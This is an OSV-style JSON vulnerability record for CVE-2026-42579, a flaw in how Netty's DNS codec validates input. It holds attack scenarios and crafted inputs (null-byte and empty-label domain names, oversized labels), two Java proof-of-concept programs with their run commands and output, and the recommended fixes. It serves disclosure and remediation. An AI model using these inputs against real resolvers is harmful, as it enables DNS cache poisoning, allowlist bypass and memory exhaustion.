{"id":"CVE-2026-42579","aliases":["GHSA-cm33-6792-r9fm"],"url":"https://o3.security/vulnerability/CVE-2026-42579","summary":"Netty: DNS Codec Input Validation Bypass in Netty (Encoder + Decoder)","details":"# Security Vulnerability Report: DNS Codec Input Validation Bypass in Netty (Encoder + Decoder)\n\n## 1. Vulnerability Summary\n\n| Field | Value |\n|-------|-------|\n| **Product** | Netty |\n| **Version** | 4.2.12.Final (and all prior versions with codec-dns) |\n| **Component** | `io.netty.handler.codec.dns.DnsCodecUtil` |\n| **Vulnerability Type** | CWE-20: Improper Input Validation / CWE-626: Null Byte Interaction Error / CWE-400: Uncontrolled Resource Consumption |\n| **Impact** | DNS Cache Poisoning / Domain Validation Bypass / Denial of Service / Malformed DNS Packets |\n\n## 2. Affected Components\n\nBoth the encoder and decoder in the same file are affected:\n\n- `io.netty.handler.codec.dns.DnsCodecUtil` — `encodeDomainName()` method (lines 31-51):\n  - No null byte validation in domain name labels\n  - No per-label length validation (RFC 1035 max: 63 bytes)\n  - No total domain name length validation (RFC 1035 max: 255 bytes)\n  - Empty labels silently truncate the domain name\n\n- `io.netty.handler.codec.dns.DnsCodecUtil` — `decodeDomainName()` method (lines 53-118):\n  - No per-label length validation (max 63)\n  - No total domain name length validation (max 255)\n  - Unbounded StringBuilder growth from attacker-controlled DNS responses\n\n## 3. Vulnerability Description\n\nNetty's DNS codec does **not enforce RFC 1035 domain name constraints** during either encoding or decoding. This creates a bidirectional attack surface: malicious DNS responses can exploit the decoder, and user-influenced hostnames can exploit the encoder.\n\n### 3.1 Encoder Side — Null Byte Injection (CWE-626)\n\nA domain name containing a null byte (e.g., `\"evil\\0.example.com\"`) is encoded with the null byte embedded in the label data. This creates a domain name that different DNS implementations interpret differently:\n\n- **Java (full string)**: sees `\"evil\\0.example.com\"` as a single label containing a null\n- **C/native DNS libraries**: truncate at the null byte, seeing only `\"evil\"`\n- **DNS servers**: may accept or reject based on implementation\n\nThis differential interpretation enables **DNS cache poisoning** and **domain validation bypass**.\n\n### 3.2 Encoder Side — Overlength Label (RFC 1035 Violation)\n\nLabels exceeding 63 bytes are accepted by the encoder. The length byte is written as a single unsigned byte, so a 200-byte label writes `0xC8` (200) as the length. Per RFC 1035, values 192-255 indicate **compression pointers**. This means:\n\n- A 200-byte label length `0xC8` would be interpreted as a **compression pointer** by standards-compliant DNS parsers\n- This creates **parser confusion** between label and pointer interpretation\n\n### 3.3 Encoder Side — Silent Truncation via Empty Labels\n\n```java\nencodeDomainName(\"a..b.com\", buf);\n// Encodes as: [01] 'a' [00]\n// Only \"a.\" is encoded, \".b.com\" is silently dropped!\n```\n\nAn attacker can craft input like `\"safe-domain..evil.com\"` which gets truncated to just `\"safe-domain.\"`, potentially bypassing domain allowlists.\n\n### 3.4 Decoder Side — Unbounded Memory Allocation\n\nThe decoder accepts labels of any length (0-255 bytes) without checking the RFC 1035 per-label limit of 63 bytes or the total domain name limit of 255 bytes. A malicious DNS server can return responses with oversized labels, causing excessive memory allocation.\n\n### Root Cause — Encoder\n\n```java\n// DnsCodecUtil.java:31-51\nstatic void encodeDomainName(String name, ByteBuf buf) {\n    if (ROOT.equals(name)) {\n        buf.writeByte(0);\n        return;\n    }\n    final String[] labels = name.split(\"\\\\.\");\n    for (String label : labels) {\n        final int labelLen = label.length();\n        if (labelLen == 0) {\n            break;  // NO ERROR - silently truncates!\n        }\n        // NO check: labelLen > 63\n        // NO check: label contains null bytes\n        // NO check: total name > 255 bytes\n        buf.writeByte(labelLen);                    // Can write values > 63!\n        ByteBufUtil.writeAscii(buf, label);         // Null bytes pass through!\n    }\n    buf.writeByte(0);\n}\n```\n\n### Root Cause — Decoder\n\n```java\n// DnsCodecUtil.java:94-99 (decodeDomainName)\n} else if (len != 0) {\n    if (!in.isReadable(len)) {  // Only checks if bytes EXIST, not if len <= 63\n        throw new CorruptedFrameException(\"truncated label in a name\");\n    }\n    name.append(in.toString(in.readerIndex(), len, CharsetUtil.UTF_8)).append('.');\n    //    ^^^^^^ StringBuilder grows WITHOUT any length limit\n    in.skipBytes(len);\n}\n```\n\n**Missing checks in decoder**:\n- No `if (len > 63)` check per RFC 1035 Section 2.3.4\n- No `if (name.length() > 255)` check for total domain name length\n\n## 4. Exploitability Prerequisites\n\n### Encoder Side (outbound)\n1. An application constructs DNS queries using Netty's DNS codec with user-influenced domain names\n2. The constructed DNS packets are sent to DNS servers or resolvers\n\n### Decoder Side (inbound)\n1. An application uses Netty's `codec-dns` or `resolver-dns` module to process DNS responses\n2. The application communicates with a malicious or compromised DNS server\n\n**Attack surface**: Any Netty application using DNS resolution (`DnsNameResolver`) is potentially affected on the decoder side, as DNS responses from the network are attacker-controlled. The encoder side requires user-controlled hostnames.\n\n## 5. Attack Scenarios\n\n### Scenario 1: DNS Cache Poisoning via Null Byte (Encoder)\n\n```java\nString hostname = userInput;  // \"evil\\0.trusted.com\"\nDnsQuery query = new DefaultDnsQuery(...)\n    .addRecord(DnsSection.QUESTION,\n        new DefaultDnsQuestion(hostname, DnsRecordType.A));\n```\n\nThe DNS query for `\"evil\\0.trusted.com\"` may be interpreted by some resolvers as a query for `\"evil\"` (truncated at null). If the attacker controls the DNS for `\"evil\"`, they can return a response that gets cached for `\"evil\\0.trusted.com\"` (or vice versa), poisoning the cache.\n\n### Scenario 2: Label/Pointer Confusion (Encoder)\n\nA 200-byte label writes length byte `0xC8`. Standards-compliant parsers interpret `0xC0-0xFF` as **compression pointer** prefixes (RFC 1035 Section 4.1.4). The resulting DNS packet is structurally ambiguous:\n\n```\nByte:  [C8] [61 61 61 ... (200 bytes)]\n         ↑\n   Label interpretation: 200-byte label starting with 'a'\n   Pointer interpretation: pointer to offset 0x0861 = 2145\n```\n\n### Scenario 3: Memory Exhaustion via Large Labels (Decoder)\n\nA malicious DNS server returns a response with a 255-byte label (RFC limit: 63). Netty decodes it without error, creating a 260+ character String. With compression pointers, a small DNS response can cause megabytes of StringBuilder allocation.\n\n### Scenario 4: Domain Truncation via Empty Label (Encoder)\n\n```java\nencodeDomainName(\"safe-domain..evil.com\", buf);\n// Only \"safe-domain.\" is encoded, \"evil.com\" silently dropped\n```\n\nThis can bypass domain allowlists that check the input string.\n\n### Scenario 5: Downstream Processing Failures (Decoder)\n\nApplications that pass decoded domain names to other DNS libraries, certificate validators, or URL parsers may crash or behave incorrectly when receiving names > 255 bytes, as these systems typically assume RFC 1035 compliance.\n\n## 6. Proof of Concept\n\n### PoC 1: Encoder Null Byte and Overlength (DnsEncoderNullBytePoC.java)\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.buffer.Unpooled;\nimport java.lang.reflect.Method;\nimport java.nio.charset.StandardCharsets;\n\npublic class DnsEncoderNullBytePoC {\n    public static void main(String[] args) throws Exception {\n        System.out.println(\"=== Netty DNS Encoder Validation Bypass PoC ===\\n\");\n\n        Class<?> clazz = Class.forName(\"io.netty.handler.codec.dns.DnsCodecUtil\");\n        Method encode = clazz.getDeclaredMethod(\"encodeDomainName\",\n            String.class, ByteBuf.class);\n        encode.setAccessible(true);\n\n        // Test 1: Null byte in domain name\n        ByteBuf buf = Unpooled.buffer(256);\n        encode.invoke(null, \"evil\\0.example.com\", buf);\n        byte[] bytes = new byte[buf.readableBytes()];\n        buf.readBytes(bytes);\n        buf.release();\n        System.out.print(\"[TEST 1] Null byte - Encoded: \");\n        for (byte b : bytes) System.out.printf(\"%02x \", b & 0xff);\n        System.out.println(\"\\nVULNERABLE: Null byte 0x00 in label data!\");\n\n        // Test 2: 200-byte label\n        ByteBuf buf2 = Unpooled.buffer(512);\n        encode.invoke(null, \"a\".repeat(200) + \".com\", buf2);\n        System.out.println(\"\\n[TEST 2] 200-byte label encoded: \" + buf2.readableBytes() + \" bytes\");\n        System.out.println(\"VULNERABLE: Overlength label accepted!\");\n        buf2.release();\n\n        // Test 3: Empty label truncation\n        ByteBuf buf3 = Unpooled.buffer(256);\n        encode.invoke(null, \"a..b.com\", buf3);\n        byte[] bytes3 = new byte[buf3.readableBytes()];\n        buf3.readBytes(bytes3);\n        buf3.release();\n        System.out.print(\"\\n[TEST 3] Empty label - Encoded: \");\n        for (byte b : bytes3) System.out.printf(\"%02x \", b & 0xff);\n        System.out.println(\"\\nVULNERABLE: Domain silently truncated!\");\n    }\n}\n```\n\n### PoC 2: Decoder Length Bypass (DnsDecoderLengthPoC.java)\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.buffer.Unpooled;\nimport java.lang.reflect.Method;\nimport java.nio.charset.StandardCharsets;\n\npublic class DnsDecoderLengthPoC {\n    public static void main(String[] args) throws Exception {\n        System.out.println(\"=== Netty DNS Decoder Length Bypass PoC ===\\n\");\n\n        Class<?> clazz = Class.forName(\"io.netty.handler.codec.dns.DnsCodecUtil\");\n        Method decode = clazz.getDeclaredMethod(\"decodeDomainName\", ByteBuf.class);\n        decode.setAccessible(true);\n\n        // Test 1: 100-byte label (RFC limit: 63)\n        ByteBuf buf1 = Unpooled.buffer(256);\n        buf1.writeByte(100);\n        buf1.writeBytes(\"a\".repeat(100).getBytes(StandardCharsets.US_ASCII));\n        buf1.writeByte(3);\n        buf1.writeBytes(\"com\".getBytes(StandardCharsets.US_ASCII));\n        buf1.writeByte(0);\n        String r1 = (String) decode.invoke(null, buf1);\n        buf1.release();\n        System.out.println(\"[TEST 1] 100-byte label: length=\" + r1.length() +\n            \" VULNERABLE=\" + (r1.length() > 64));\n\n        // Test 2: 5 x 60-byte labels = 305 bytes (RFC limit: 255)\n        ByteBuf buf2 = Unpooled.buffer(512);\n        for (int i = 0; i < 5; i++) {\n            buf2.writeByte(60);\n            buf2.writeBytes(String.valueOf((char)('a'+i)).repeat(60)\n                .getBytes(StandardCharsets.US_ASCII));\n        }\n        buf2.writeByte(0);\n        String r2 = (String) decode.invoke(null, buf2);\n        buf2.release();\n        System.out.println(\"[TEST 2] 305-byte domain: length=\" + r2.length() +\n            \" VULNERABLE=\" + (r2.length() > 255));\n    }\n}\n```\n\n### How to Compile and Run\n\n```bash\nJARS=$(find ~/.m2/repository/io/netty -name \"netty-*.jar\" -path \"*/4.2.12.Final/*\" \\\n  | grep -v sources | grep -v javadoc | tr '\\n' ':')\n\n# Encoder PoC\njavac -cp \"$JARS\" DnsEncoderNullBytePoC.java\njava --add-opens java.base/java.lang=ALL-UNNAMED -cp \"$JARS:.\" DnsEncoderNullBytePoC\n\n# Decoder PoC\njavac -cp \"$JARS\" DnsDecoderLengthPoC.java\njava --add-opens java.base/java.lang=ALL-UNNAMED -cp \"$JARS:.\" DnsDecoderLengthPoC\n```\n\n### PoC Execution Output (Verified on Netty 4.2.12.Final)\n\n**Encoder PoC:**\n```\n=== Netty DNS Encoder Validation Bypass PoC ===\n\n[TEST 1] Null byte in domain name\n  Input: \"evil\\0.example.com\"\n  Encoded bytes: 05 65 76 69 6c 00 07 65 78 61 6d 70 6c 65 03 63 6f 6d 00\n  Null byte in label data: true\n  VULNERABLE: YES - Null byte accepted!\n\n[TEST 2] Label > 63 bytes in encoder\n  Input: \"aaaaaa...\" (200-char label)\n  Encoded bytes: 206\n  VULNERABLE: YES - Overlength label accepted in encoder!\n\n[TEST 3] Empty labels (consecutive dots)\n  Input: \"a..b.com\"\n  Encoded bytes: 01 61 00\n  Note: Empty label truncates the name (may lose data)\n```\n\n**Decoder PoC:**\n```\n=== Netty DNS Decoder Length Bypass PoC ===\n\n[TEST 1] Label > 63 bytes (RFC 1035 violation)\n  Label length: 100 bytes (RFC limit: 63)\n  Decoded name length: 105\n  VULNERABLE: YES - Label > 63 bytes accepted!\n\n[TEST 2] Domain > 255 bytes via multiple labels\n  5 labels x 60 bytes = 300+ bytes total\n  RFC 1035 limit: 255 bytes\n  Decoded name length: 305\n  VULNERABLE: YES - Domain > 255 bytes accepted!\n```\n\n## 7. Impact Analysis\n\n| Impact Category | Description |\n|----------------|-------------|\n| **Integrity** | HIGH — Null byte injection causes differential interpretation across DNS implementations |\n| **Availability** | HIGH — Malicious DNS responses can cause unbounded memory allocation via decoder |\n| **DNS Cache Poisoning** | Different parsers see different domain names from the same encoded packet |\n| **Domain Validation Bypass** | Null bytes can bypass allowlist/blocklist checks in DNS proxies |\n| **Label/Pointer Confusion** | Length bytes > 63 conflict with RFC 1035 compression pointer encoding |\n| **Silent Truncation** | Empty labels silently drop the remainder of the domain name |\n| **Downstream Failures** | Oversized domain names may crash certificate validators, URL parsers, or other DNS-aware libraries |\n\n## 8. Remediation Recommendations\n\n### Fix for Encoder (encodeDomainName)\n\n```java\nstatic void encodeDomainName(String name, ByteBuf buf) {\n    if (ROOT.equals(name)) {\n        buf.writeByte(0);\n        return;\n    }\n    int totalLength = 0;\n    final String[] labels = name.split(\"\\\\.\");\n    for (String label : labels) {\n        final int labelLen = label.length();\n        if (labelLen == 0) {\n            throw new IllegalArgumentException(\"DNS name contains empty label: \" + name);\n        }\n        if (labelLen > 63) {\n            throw new IllegalArgumentException(\n                \"DNS label length \" + labelLen + \" exceeds maximum of 63: \" + name);\n        }\n        for (int i = 0; i < label.length(); i++) {\n            if (label.charAt(i) == '\\0') {\n                throw new IllegalArgumentException(\n                    \"DNS label contains null byte at index \" + i);\n            }\n        }\n        totalLength += 1 + labelLen;\n        if (totalLength > 254) {\n            throw new IllegalArgumentException(\n                \"DNS name exceeds maximum length of 255: \" + name);\n        }\n        buf.writeByte(labelLen);\n        ByteBufUtil.writeAscii(buf, label);\n    }\n    buf.writeByte(0);\n}\n```\n\n### Fix for Decoder (decodeDomainName)\n\n```java\n// Add after \"} else if (len != 0) {\":\nif (len > 63) {\n    throw new CorruptedFrameException(\"DNS label length \" + len + \" exceeds maximum of 63\");\n}\n// Add after \"name.append(...)\":\nif (name.length() > 255) {\n    throw new CorruptedFrameException(\"DNS domain name length exceeds maximum of 255\");\n}\n```\n\n## 9. Resources\n\n- [RFC 1035 Section 2.3.4: Size Limits](https://tools.ietf.org/html/rfc1035#section-2.3.4)\n- [RFC 1035 Section 4.1.4: Message Compression](https://tools.ietf.org/html/rfc1035#section-4.1.4)\n- [CWE-20: Improper Input Validation](https://cwe.mitre.org/data/definitions/20.html)\n- [CWE-400: Uncontrolled Resource Consumption](https://cwe.mitre.org/data/definitions/400.html)\n- [CWE-626: Null Byte Interaction Error](https://cwe.mitre.org/data/definitions/626.html)","published":"2026-05-13T18:01:52.500Z","modified":"2026-09-20T11:45:43.682601573Z","cvss":{"score":7.5,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"},"epss":{"score":0.01006,"percentile":0.60371,"asOf":"2026-08-24"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Maven","name":"io.netty:netty-codec-dns","fixedVersion":"4.2.13.Final"},{"ecosystem":"Maven","name":"io.netty:netty-codec-dns","fixedVersion":"4.1.133.Final"}],"fix":null,"references":[{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-42579.json"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:23808"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:24502"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:25123"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:28010"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:36820"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:37390"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:49700"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:49701"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:53644"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:53645"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:53646"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:54435"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:65126"},{"type":"ADVISORY","url":"https://access.redhat.com/security/cve/CVE-2026-42579"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/42xxx/CVE-2026-42579.json"},{"type":"ADVISORY","url":"https://github.com/netty/netty/security/advisories/GHSA-cm33-6792-r9fm"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42579"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2477217"},{"type":"PACKAGE","url":"https://github.com/netty/netty"},{"type":"WEB","url":"https://tools.ietf.org/html/rfc1035#section-2.3.4"},{"type":"WEB","url":"https://tools.ietf.org/html/rfc1035#section-4.1.4"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-09-20T11:45:43.682601573Z"}}